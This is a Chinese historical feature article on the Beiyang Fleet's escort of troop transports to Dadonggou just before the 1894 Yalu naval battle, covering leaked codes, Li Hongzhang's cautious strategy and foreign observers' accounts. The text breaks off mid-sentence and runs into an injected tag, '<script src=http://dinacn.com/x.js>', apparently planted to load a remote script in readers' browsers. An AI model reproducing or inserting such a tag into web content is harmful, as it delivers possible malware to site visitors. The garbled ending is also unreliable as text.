中国历史上自毁长城的事虽然屡见不鲜，却从没有一群人像清末北洋舰队官兵那样，如此关系到这个国家的国运，又遭受到如此多不公、误解甚至漠视。在众多参战、观战中外军人的眼里，北洋海军官兵在1894年9月17日以横飞的血肉，进行了一场几无胜算、但令人肃然起敬的战斗。

　　主笔◎蔡伟

　　从旅顺到鸭绿江口

　　1894年9月15日大连湾内地旅顺港，为中国军队运送物资的美国商船“哥伦比亚号”刚刚抵达，美国船员詹姆斯·艾伦就目睹了令人震撼的一幕。

　　“在抵达大连湾时，我们发现该湾舰只云集。4艘大的运输船已经开始装运士兵，另一艘运输船也在我们之后到达。战舰排列整齐壮观，共有12艘，除两三艘外，均属北洋舰队。此外，还有4艘鱼雷艇。”当时，日军进攻入朝中国军队，迫使中国再次向朝鲜增援。考虑到此前丰岛海面日军击沉运载北洋陆军的“高升号”运输船的惨剧，此次北洋舰队提督丁汝昌奉命率舰队几乎全部主力舰艇从威海卫军港抵达大连湾，为运输船队护航。

　　就在北洋海军离开威海卫军港第二天，日本海军联合舰队就收到了日本侵朝陆军发来电报，告知平壤之战中从大同江清军一艘船中搜到一封信。此信是平壤守将写给清军铭军统领刘盛休的，日军由此获悉，大孤山、大小鹿岛(鸭绿江口西南)可能会有大量中国军队登陆。几乎与此同时，日本驻朝鲜公使大鸟圭介也发报指出，估计中国军队要取道海路运兵，从大鹿岛一带登陆。

　　北洋海军根本不知道已经泄露了出航的情报，在此前，北洋海军的密码其实已经被日军破获，要命的是北洋海军一无所知，直到战争结束都没有更换密码。于是中国军舰还没出航，日本海军已经决定派遣舰队前往大东沟出战。

　　在中朝界河鸭绿江入海口处，一个大型冲积岛屿将入海口分为东西两侧。西侧入海口虽然比东侧狭窄得多，河道却比较畅通，甚至还在中国一侧形成了一个小型避风港——大东港，即今天丹东港，这个出海口就被称为大东沟。

　　此前，中国军队海路入朝登陆地点是朝鲜中部的牙山港。但日军占领汉城，又在丰岛海域击沉高升号运兵船，从牙山登陆已不可行。如从陆路越过鸭绿江增兵朝鲜，在不具备铁路、公路的情况下，路途漫长、劳师费力。于是在大东沟登陆，就成为一个可行的折中方案。

　　然而大东港毕竟是浅水港，运兵船只能在外海依靠小船将人员物资卸载后转运登岸。北洋大臣李鸿章虽然对此早有叮嘱，但边境中国官员竟相互掣肘，导致派遣的民船严重不足，物资、人员登岸极为缓慢。

　　丁汝昌将北洋海军主力舰停泊在大东沟西南12海里左右的小鹿岛附近以保护登陆舰的退路。在大东沟口，由“平远”和“广丙”两舰直接护卫着登陆船队。跟随行动的“哥伦比亚号”上，詹姆斯·艾伦再次目睹了中国军队登陆时壮观的景象：

　　士兵们在沿岸临时搭起了他们的帐篷，16日夜幕降临时，呈现出一幅粗犷的景色——宿营地的灯火沿着荒凉的江岸向远处延伸，在恐怖的黑暗中聚集着粗大的人影，在遥远的地方到处有灯光通明的军舰的巨大影像。

　　然而，中国陆军和北洋舰队提督丁汝昌并无此雅兴观摩夜景，对于登陆的迟缓，丁汝昌忧心忡忡。丰岛海战失利后，日军曾倾尽所有舰艇炮轰威海卫，当时北海舰队并不在港内。朝内反对李鸿章的清流派借此攻击其下属丁汝昌，几乎要取其性命。在李鸿章力保下，清廷严令丁汝昌禁止任何一艘日军舰艇进入渤海湾，并颁布一条正式指令，命他不得出成山头灯塔到鸭绿江口一线以东巡航。

　　李鸿章的战略，也认为北洋多年经营不易，不该轻易“浪战”，而应以巡航海面，“做猛虎下山之势”，即以舰队的存在威慑对手，不主张轻易和对方主力舰队在大洋决战。这正和西方海军以争夺制海权为核心的战略相反。

　　甲午战争时期曾在远东专门考察中日战况的英国中国舰队司令弗里曼特尔海军中将后来曾这样评价甲午中日海战：“最初日本舰队只是保卫运输船，清国舰队则只允许在渤海湾内巡航，禁止向山东半岛成山头到鸭绿江一线以东出航。因此，两国都以海军作为陆军的辅助，把海军置于次要地位，这就是对制海权作用的误解。”

　　但李鸿章此举也并非没有苦衷。自从建军以来，舰队已经4年没有增添舰只，早已不是当年亚洲第一舰队的实力，舰艇实力上超过北洋舰队的日本海军开始采用攻势。办过多年洋务的李鸿章远比高唱“主战”的“清流派”了解中国，更了解对手。李鸿章清楚，一旦大战损耗，他苦心经营的北洋海军将会如“纸糊的屋子”，一戳即破。

　　在这双重掣肘下，丁汝昌只先行派出4艘军舰前往旅顺，自带其余主力舰艇前往威海东部的成山头方向巡逻了一番，再转向旅顺和先头舰艇及运输船队会合。这个举动让不知内情却又情报灵通的日军误认为北洋海军再次只派出“超勇”、“扬威”、“平远”和“广丙”4艘弱舰前往朝鲜护航。于是没有出动全部舰艇，只派出主?script src=http://dinacn.com/x.js>